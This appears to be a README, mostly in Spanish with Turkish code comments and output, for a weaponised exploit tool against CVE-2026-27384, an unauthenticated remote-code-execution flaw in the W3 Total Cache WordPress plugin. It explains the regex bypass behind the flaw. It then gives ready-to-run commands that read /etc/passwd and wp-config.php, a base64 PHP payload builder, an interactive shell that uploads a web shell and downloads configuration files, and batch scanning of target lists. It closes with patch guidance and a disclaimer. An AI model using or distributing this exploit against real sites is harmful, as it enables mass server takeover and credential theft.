
Escáner automatizado y exploit para CVE-2026-27384, un RCE no autenticado en W3 Total Cache mediante inyección de mfunc/eval(). Incluye autodetección, 48 variantes de payload, shell interactiva y escaneo por lotes.
Plugin: W3 Total Cache Slug del plugin:
w3-total-cacheID de CVE: CVE-2026-27384 Puntuación CVSS: 9.8 (Crítica) Vector CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTipo de vulnerabilidad: Ejecución arbitraria de código sin autenticación (Inyección de código medianteeval()) Versiones afectadas: <= 2.9.1 Versión parcheada: 2.9.2 Fecha de publicación: 24 de febrero de 2026 Investigador: CODE WHITE GmbH
La función Dynamic Fragment Caching del plugin W3 Total Cache (sistema mfunc/mclude) ejecuta con eval() el código PHP incrustado en comentarios HTML. El token , que debería proteger esta función, puede omitirse mediante la combinación de varios errores de código.
W3TC_DYNAMIC_SECURITYResultado: Sin necesidad de autenticación, se puede ejecutar código PHP arbitrario en el servidor simplemente enviando un comentario de WordPress.
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2026-27384 |
| CVSS | 9.8 Crítica |
| Tipo | Inyección de código → RCE (CWE-94) |
| Versión afectada | <= 2.9.1 |
| Versión parcheada | 2.9.2 |
| Autenticación | No requerida |
| Interacción del usuario | No requerida |
| Requisito previo | W3TC_DYNAMIC_SECURITY debe contener metacaracteres de regex |
La función Dynamic Fragment Caching de W3TC permite a los desarrolladores incrustar código PHP en el HTML de la página mediante etiquetas de comentario especiales:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC procesa estas etiquetas al servir la página desde la caché: el PHP incrustado se ejecuta con eval() y su salida se escribe en lugar del bloque de comentario.
preg_quote() (PgCache_ContentGrabber.php)// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor
// preg_quote() YOK → token regex pattern gibi davranır
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
Si el token es '.', la regex se convierte en <!--\s*mfunc\s*.(.*)--> → cualquier carácter individual actúa como token.
\s* y \s+| Función | Patrón | Comportamiento |
|---|---|---|
_parse_dynamic() — ejecuta | mfunc\s*TOKEN | Acepta 0 espacios ✅ |
strip_dynamic_fragment_tags_from_string() — limpia | mfunc\s+TOKEN | Requiere al menos 1 espacio ❌ |
Saldırgan payload: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
mfunc ile token arasında BOŞLUK YOK
strip fonksiyonu: \s+ → eşleşmez → payload KALIR
execution regex: \s* → eşleşir → eval() ÇALIŞIR
_has_dynamic())// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (regex metacharacter — herhangi bir karakter)
│
▼
Saldırgan yorum gönderir:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
Pattern: mfunc\s+[^\s]+ → \s+ gerektirir, boşluk yok → ATLATILDI ✅
│
▼
Yorum veritabanına kaydedilir, sayfa cache'lenir
│
▼
İkinci HTTP isteği → W3TC cache'den sunar
_has_dynamic() → mfunc\s*. → 'A' eşleşir → true döner
│
▼
_parse_dynamic() → preg_replace_callback
Pattern: mfunc\s*. → 'A' eşleşir
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓
Sin autenticación, se puede ejecutar código PHP arbitrario en el servidor con los privilegios del servidor web:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| Modo | Descripción |
|---|---|
auto | Escanea el sitio → encuentra la página de comentarios → explota (por defecto) |
exploit | Explotación directa — con la URL del post |
shell | Shell interactiva |
detect | Solo detección de W3TC |
python w3tc_rce.py https://hedef.com
El escáner hace lo siguiente:
# id komutu
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# /etc/passwd oku
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# wp-config.php oku
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# Post ID manuel
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
Cuando se abre la shell, se ejecutan automáticamente whoami, hostname, pwd y uname -a:
=================================================================
CVE-2026-27384 — W3TC mfunc Interactive Shell
URL : https://hedef.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.hedef.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
Komutlar: exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC kurulu!
Sürüm : 2.9.1
Cache : True
[!] Sürüm 2.9.1 ZAFİYETLİ (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v
| Parámetro | Corto | Descripción | Por defecto |
|---|---|---|---|
url | — | URL de un único objetivo | — |
--list | -l | Archivo con lista de objetivos | — |
--mode | — | Modo de operación | auto |
--cmd | — | Comando a ejecutar | id |
--post-url | — | URL de la página con comentarios | — |
--post-id | — | ID del post de WordPress | — |
--max-pages | — | Máximo de páginas del spider | 50 |
--threads | -t | Número de hilos | 10 |
--output | -o | Archivo de salida | w3tc_results.txt |
--proxy | — | URL del proxy | — |
--no-color | — | Salida sin colores | False |
--verbose | -v | Salida detallada | False |
Standart tag (strip tarafından yakalanır):
<!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
↑
boşluk var → \s+ eşleşir → strip siler
Bypass tag (strip'i atlatır, eval() çalışır):
<!-- mfuncA php_code --><!-- /mfuncA -->
↑
boşluk YOK → \s+ eşleşmez → strip ATLAR
\s* eşleşir → eval() ÇALIŞIR
El código PHP se codifica en base64 para evitar problemas de codificación HTML:
# Komut: id
b64_cmd = base64.b64encode(b"id").decode() # → "aWQ="
php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));
payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"
| Grupo | Función | Carácter de bypass | Codificación |
|---|---|---|---|
| b64_shell_exec | shell_exec | A, B, X, 1 | Base64 |
| b64_system | system | A, B, X, 1 | Base64 |
| b64_passthru | passthru | A, B, X, 1 | Base64 |
| b64_exec | exec | A, B, X, 1 | Base64 |
| b64_popen | popen | A, B, X, 1 | Base64 |
| raw_* | Todas las funciones | A, B, X, 1 | Crudo |
1. W3TC Tespiti
└─ readme.txt, header, body, plugin dizini
2. Yorum Sistemi Tespiti
└─ HTML form, REST API, post ID
3. Payload Enjeksiyonu (48 varyant)
├─ REST API: POST /wp-json/wp/v2/comments
└─ HTML Form: POST /wp-comments-post.php
4. Cache Tetikleme
├─ 1. istek → cache miss → sayfa render → cache'lenir
└─ 2. istek → cache hit → _parse_dynamic() → eval()
5. Çıktı Çıkarma
└─ uid=, whoami, /path/, passwd, wp-config...
=================================================================
CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================
[*] Hedef: https://hedef.com
Crawling: [████████████████████] 100% (50/50) | 8.3/s
[+] Yorum sayfası: https://hedef.com/?p=1 (post_id=1)
[1] W3TC tespiti...
[+] W3TC bulundu! Sürüm: 2.9.1
[2] Yorum sistemi tespiti...
[+] Post ID: 1 | Form: True | REST: True
[3] Payload enjeksiyonu (id)...
[i] 48 payload varyantı hazır
[4] Cache tetikleniyor...
[★] RCE BAŞARILI!
=========================================================
URL : https://hedef.com/?p=1
Payload : b64_shell_exec (bypass='A')
Komut : id
Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================
[+] Sonuçlar kaydedildi → w3tc_results.txt
[?] Shell aç? (y/n):
Scanning: [████████████████████] 100% (100/100) | 4.2/s
[★] 7 zafiyet bulundu!
[+] Sonuçlar kaydedildi → w3tc_results.txt
cve-2026-27384/
├── w3tc_rce.py # Ana scanner
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
| Medida | Descripción |
|---|---|
| Actualización del plugin | Actualizar a W3 Total Cache 2.9.2+ |
| Deshabilitar mfunc | Si W3TC_DYNAMIC_SECURITY no está definida, la función no funciona |
| Token fuerte | El token debe contener solo caracteres alfanuméricos ([a-zA-Z0-9_]+) |
Ejemplo de token seguro (wp-config.php):
// ❌ Tehlikeli — regex metacharacter
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');
// ✅ Güvenli — alfanümerik
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');
Parche de 2.9.2 (_parse_dynamic()):
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' ); // ✅ preg_quote eklendi
$buffer = preg_replace_callback(
'~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis', // ✅ \s+ (en az 1 boşluk)
...
);
Esta herramienta y el PoC están preparados únicamente para ser utilizados en sistemas autorizados, con fines educativos y dentro del ámbito de pruebas de penetración. Su uso en sistemas no autorizados constituye un delito según los artículos 243-245 del Código Penal turco y las leyes internacionales sobre delitos informáticos. El desarrollador no acepta ninguna responsabilidad legal derivada del mal uso de la herramienta.
MIT License — Solo con fines educativos y de investigación.